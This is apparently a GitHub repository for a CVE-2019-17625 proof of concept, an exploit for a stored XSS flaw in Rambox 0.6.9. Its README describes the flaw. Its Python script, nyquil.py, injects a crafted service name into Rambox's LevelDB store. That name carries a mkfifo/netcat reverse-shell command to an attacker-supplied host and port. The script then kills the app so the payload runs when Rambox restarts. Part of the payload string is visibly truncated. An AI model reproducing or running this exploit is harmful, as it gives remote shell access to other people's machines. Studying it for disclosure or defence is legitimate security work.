├── .gitignore ├── README.md ├── nyquil.py └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/* 2 | *.pyc 3 | .DS_Store -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-17625 2 | 3 | There is a stored XSS vulnerability in rambox 0.6.9 due to unsantized parameters in the name field when a user is adding a service. Since rambox runs on NodeJS this allows for the use of OS commands to be injected into an `` or `` tag. 4 | 5 | _Note:_ This code has only been tested on MacOS and may need to be reconfigured for other operating systems 6 | 7 | # Exploit code 8 | 9 | The exploit code will create a service (using discord as a base), the shell requires that the system has `mkfifo` on it. You can of course swap out the payload for whatever you want. 10 | 11 | # PoC 12 | 13 | ![rce_rambox_poc](https://user-images.githubusercontent.com/14183473/66883875-fb30fa00-ef94-11e9-82a0-589006c453a9.gif) 14 | -------------------------------------------------------------------------------- /nyquil.py: -------------------------------------------------------------------------------- 1 | import os 2 | import base64 3 | import psutil 4 | import shutil 5 | import getpass 6 | import platform 7 | import argparse 8 | 9 | from zipfile import ZipFile 10 | 11 | import plyvel 12 | 13 | 14 | class Parser(argparse.ArgumentParser): 15 | 16 | def __init__(self): 17 | super(Parser, self).__init__() 18 | 19 | @staticmethod 20 | def optparse(): 21 | parser = argparse.ArgumentParser() 22 | parser.add_argument("-l", "--lhost", dest="lHost", default=None, help="Pass LHOST") 23 | parser.add_argument("-p", "--lport", dest="lPort", default=None, help="Pass LPORT") 24 | return parser.parse_args() 25 | 26 | 27 | # the payload to append to the database 28 | PAYLOAD = ( 29 | "&1|nc {lhost} {lport} >/tmp/f', (err, stdout, stderr) => {{if (err) " 31 | "{{return;}};console.log(`stdout: ${{stdout}}`);console.log(`stderr: ${{stderr}}`);}});\">Discord" 32 | ).replace('"', '\\"') 33 | 34 | # the zip file containing the data to put into the discord folder 35 | ZIP_BASE64 = "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" 36 | 37 | 38 | def create_zip(): 39 | """ 40 | create the zip file if it doesn't exist 41 | """ 42 | if not os.path.exists("discord.zip"): 43 | with open("discord.zip", "a+") as z: 44 | z.write(base64.b64decode(ZIP_BASE64)) 45 | 46 | 47 | def get_root_path(user=getpass.getuser(), current_sys=str(platform.platform()).lower()): 48 | """ 49 | get the root path of rambox 50 | """ 51 | if "windows" in current_sys: 52 | root_path = "c:\\{}\\AppData\\Roaming\\rambox".format(user) 53 | elif "darwin" in current_sys: 54 | root_path = "/Users/{}/Library/Application Support/Rambox".format(user) 55 | elif "linux" or "unix" in current_sys: 56 | root_path = "/home/{}/.config/Rambox".format(user) 57 | else: 58 | root_path = None 59 | if root_path is None: 60 | raise OSError("Unsupported Operating System") 61 | return root_path 62 | 63 | 64 | def get_database_path(root, current_sys=str(platform.platform()).lower()): 65 | """ 66 | get the database path to the rambox DB 67 | """ 68 | if "windows" in current_sys: 69 | return "{}\\Partitions\\rambox\\Local Storage\\leveldb".format(root) 70 | else: 71 | return "{}/Partitions/rambox/Local Storage/leveldb".format(root) 72 | 73 | 74 | def get_folder_path(root, current_sys=str(platform.platform()).lower()): 75 | """ 76 | get the partitions path 77 | """ 78 | count = 1 79 | if "windows" in current_sys: 80 | folder = "{}\\Partitions".format(root) 81 | else: 82 | folder = "{}/Partitions".format(root) 83 | for item in os.listdir(folder): 84 | if "discord" in item: 85 | count += 1 86 | if count == 0: 87 | count = 1 88 | if "windows" in current_sys: 89 | retval = "{}\\discord_{}".format(folder, count) 90 | else: 91 | retval = "{}/discord_{}".format(folder, count) 92 | if not os.path.exists(retval): 93 | os.makedirs(retval) 94 | return retval 95 | 96 | 97 | def delete_lock(db_path, current_sys=str(platform.platform()).lower()): 98 | """ 99 | delete the lock file so we can edit the database 100 | """ 101 | if "windows" in current_sys: 102 | path = "{}\\LOCK" 103 | else: 104 | path = "{}/LOCK" 105 | path = path.format(db_path) 106 | if os.path.exists(path): 107 | os.remove(path) 108 | 109 | 110 | def recreate_lock(db_path): 111 | """ 112 | recreate the LOCK file 113 | """ 114 | open(db_path + "/LOCK", 'a+').close() 115 | 116 | 117 | def read_database(db, full_read=False, get_value=True): 118 | """ 119 | iterate through the database to get a list of tuples of data 120 | """ 121 | results = [] 122 | with db.iterator() as res: 123 | for k, v in res: 124 | if full_read: 125 | print k + ": " + v 126 | else: 127 | results.append((k, v)) 128 | if get_value: 129 | return results 130 | 131 | 132 | def count_services(db): 133 | """ 134 | count the services so we can get a logical number and not overwrite anything 135 | """ 136 | values = 0 137 | services = read_database(db) 138 | for service in services: 139 | key, value = service[0], service[1] 140 | if "discord" in value: 141 | values += 1 142 | try: 143 | return int(values) 144 | except ValueError: 145 | return 1 146 | 147 | 148 | def edit_database(db, lhost, lport, db_path): 149 | """ 150 | edit the database and add our data to it, which will give us our service 151 | """ 152 | db = plyvel.DB(db) 153 | current_value_count = count_services(db) 154 | payload = PAYLOAD.format(lhost=lhost, lport=lport) 155 | data = """\x01{"position":""" + str(current_value_count+1) + ""","type":"discord","logo":"discord.png","name":""" + '"' + payload + '"' + ""","url":"https://discordapp.com/login","align":"left","notifications":True,"muted":False,"tabname":True,"statusbar":True,"displayTabUnreadCounter":True,"includeInGlobalUnreadCounter":True,"trust":True,"enabled":True,"js_unread":"","zoomLevel":0}""".replace("True", "true").replace("False", "false") 156 | db.put(b"_file://\x00\x01services-" + str(current_value_count+1), bytes(data)) 157 | db.put(b"_file://\x00\x01services-counter", b"\x01{}".format(current_value_count+1)) 158 | if current_value_count+1 == 1: 159 | db.delete(b"_file://\x00\x01services") 160 | db.put(b"_file://\x00\x01services", b"\x011") 161 | else: 162 | db.put(b"_file://\x00\x01services", b"\x01{}".format(",".join(str(i) for i in range(1, current_value_count + 2)))) 163 | recreate_lock(db_path) 164 | 165 | 166 | def copy_data(root): 167 | """ 168 | copy over the skeleton template to a new discord folder 169 | """ 170 | filename = "discord.zip" 171 | destination = get_folder_path(root) 172 | shutil.copy(filename, destination) 173 | with ZipFile(filename, 'r') as zip_data: 174 | zip_data.extractall(path=destination) 175 | 176 | 177 | def kill_rambox(): 178 | """ 179 | kill rambox 180 | """ 181 | for proc in (process for process in psutil.process_iter() if "rambox" in str(process.name()).lower()): 182 | try: 183 | proc.kill() 184 | except: 185 | pass 186 | 187 | 188 | def main(): 189 | """ 190 | main function 191 | """ 192 | opt = Parser().optparse() 193 | if opt.lHost is None: 194 | print("./nyquil.py -l [-p ]") 195 | exit(1) 196 | if opt.lPort is None: 197 | opt.lPort = "9076" 198 | print("[i] defaulting to port: {}".format(opt.lPort)) 199 | create_zip() 200 | print("[i] grabbing root path") 201 | root = get_root_path() 202 | print("[i] grabbing database path") 203 | db_path = get_database_path(root) 204 | print("[i] removing LOCK file") 205 | delete_lock(db_path) 206 | print("[i] editing database") 207 | edit_database(db_path, opt.lHost, opt.lPort, db_path) 208 | print("[i] copying over data") 209 | copy_data(root) 210 | print("[i] killing rambox") 211 | kill_rambox() 212 | print("[i] done, waiting for rambox to restart, watch your listener") 213 | 214 | 215 | if __name__ == "__main__": 216 | main() 217 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | plyvel==1.1.0 2 | psutil==5.6.3 --------------------------------------------------------------------------------